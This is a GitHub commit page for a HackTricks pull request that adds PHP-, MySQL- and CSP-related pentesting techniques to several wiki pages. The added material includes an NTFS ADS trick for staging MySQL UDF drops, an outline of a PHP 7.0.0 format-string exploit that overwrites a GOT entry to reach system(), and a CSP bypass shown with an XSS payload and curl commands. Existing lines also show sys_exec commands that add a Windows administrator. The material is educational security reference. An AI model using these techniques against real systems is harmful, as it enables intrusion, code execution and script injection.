Skip to content

Commit 2a44001

Browse files
authored
Merge pull request #1372 from HackTricks-wiki/update_The_Art_of_PHP__CTF_born_exploits_and_techniques_20250830_123618
The Art of PHP CTF‑born exploits and techniques
2 parents d4cf02b + 9729a17 commit 2a44001

6 files changed

Lines changed: 68 additions & 4 deletions

File tree

src/network-services-pentesting/pentesting-mysql.md

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -289,6 +289,17 @@ SELECT sys_exec("net user npn npn12345678 /add");
289289
SELECT sys_exec("net localgroup Administrators npn /add");
290290
```
291291
292+
#### Windows tip: create directories with NTFS ADS from SQL
293+
294+
On NTFS you can coerce directory creation using an alternate data stream even when only a file write primitive exists. If the classic UDF chain expects a `plugin` directory but it doesn’t exist and `@@plugin_dir` is unknown or locked down, you can create it first with `::$INDEX_ALLOCATION`:
295+
296+
```sql
297+
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
298+
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
299+
```
300+
301+
This turns limited `SELECT ... INTO OUTFILE` into a more complete primitive on Windows stacks by bootstrapping the folder structure needed for UDF drops.
302+
292303
### Extracting MySQL credentials from files
293304
294305
Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint**
@@ -749,6 +760,7 @@ john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
749760
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
750761
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
751762
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
763+
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
752764
753765
754766

src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md

Lines changed: 27 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
# PHP - RCE abusing object creation: new $\_GET\["a"]\($\_GET\["b"])
1+
# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
22

33
{{#include ../../../banners/hacktricks-training.md}}
44

@@ -97,11 +97,34 @@ It's noted that PHP temporarily stores uploaded files in `/tmp/phpXXXXXX`. The V
9797

9898
A method described in the [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) involves uploading files that trigger a server crash before deletion. By brute-forcing the name of the temporary file, it becomes possible for Imagick to execute arbitrary PHP code. However, this technique was found to be effective only in an outdated version of ImageMagick.
9999

100-
## References
100+
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
101101

102-
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
102+
When user input controls the class name (e.g., `new $_GET['model']()`), PHP 7.0.0 introduced a transient bug during the `Throwable` refactor where the engine mistakenly treated the class name as a printf format string during resolution. This enables classic printf-style primitives inside PHP: leaks with `%p`, write-count control with width specifiers, and arbitrary writes with `%n` against in-process pointers (for example, GOT entries on ELF builds).
103103

104-
{{#include ../../../banners/hacktricks-training.md}}
104+
Minimal repro vulnerable pattern:
105+
106+
```php
107+
<?php
108+
$model = $_GET['model'];
109+
$object = new $model();
110+
```
111+
112+
Exploitation outline (from the reference):
113+
- Leak addresses via `%p` in the class name to find a writable target:
114+
```bash
115+
curl "http://host/index.php?model=%p-%p-%p"
116+
# Fatal error includes resolved string with leaked pointers
117+
```
118+
- Use positional parameters and width specifiers to set an exact byte-count, then `%n` to write that value to an address reachable on the stack, aiming at a GOT slot (e.g., `free`) to partially overwrite it to `system`.
119+
- Trigger the hijacked function by passing a class name containing a shell pipe to reach `system("id")`.
105120

121+
Notes:
122+
- Works only on PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); fixed in subsequent releases. Severity: critical if arbitrary class instantiation exists.
123+
- Typical payloads chain many `%p` to walk the stack, then `%.<width>d%<pos>$n` to land the partial overwrite.
106124

125+
## References
126+
127+
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
128+
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
107129

130+
{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-web/content-security-policy-csp-bypass/README.md

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -693,6 +693,27 @@ Then, the technique consists basically in **filling the response buffer with war
693693

694694
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
695695

696+
### Kill CSP via max_input_vars (headers already sent)
697+
698+
Because headers must be sent before any output, warnings emitted by PHP can invalidate later `header()` calls. If user input exceeds `max_input_vars`, PHP throws a startup warning first; any subsequent `header('Content-Security-Policy: ...')` will fail with “headers already sent”, effectively disabling CSP and allowing otherwise-blocked reflective XSS.
699+
700+
```php
701+
<?php
702+
header("Content-Security-Policy: default-src 'none';");
703+
echo $_GET['xss'];
704+
```
705+
706+
Example:
707+
```bash
708+
# CSP in place → payload blocked by browser
709+
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
710+
711+
# Exceed max_input_vars to force warnings before header() → CSP stripped
712+
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
713+
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
714+
# Warning: Cannot modify header information - headers already sent
715+
```
716+
696717
### Rewrite Error Page
697718

698719
From [**this writeup**](https://blog.ssrf.kr/69) it looks like it was possible to bypass a CSP protection by loading an error page (potentially without CSP) and rewriting its content.
@@ -837,6 +858,7 @@ navigator.credentials.store(
837858
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
838859
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
839860
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
861+
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
840862
841863
842864

src/pentesting-web/file-inclusion/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -753,6 +753,7 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
753753
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
754754
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
755755
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
756+
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
756757

757758
{{#file}}
758759
EN-Local-File-Inclusion-1.pdf

src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -260,6 +260,7 @@ function find_vals($init_val) {
260260
## More References
261261

262262
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
263+
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
263264

264265

265266
{{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/file-upload/README.md

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -166,6 +166,10 @@ Note that **another option** you may be thinking of to bypass this check is to m
166166

167167
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
168168

169+
### Corrupting upload indices with snprintf quirks (historical)
170+
171+
Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
172+
169173
## From File upload to other vulnerabilities
170174

171175
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
@@ -335,5 +339,6 @@ How to avoid file type detections by uploading a valid JSON file even if not all
335339
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
336340
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
337341
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
342+
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
338343
339344
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)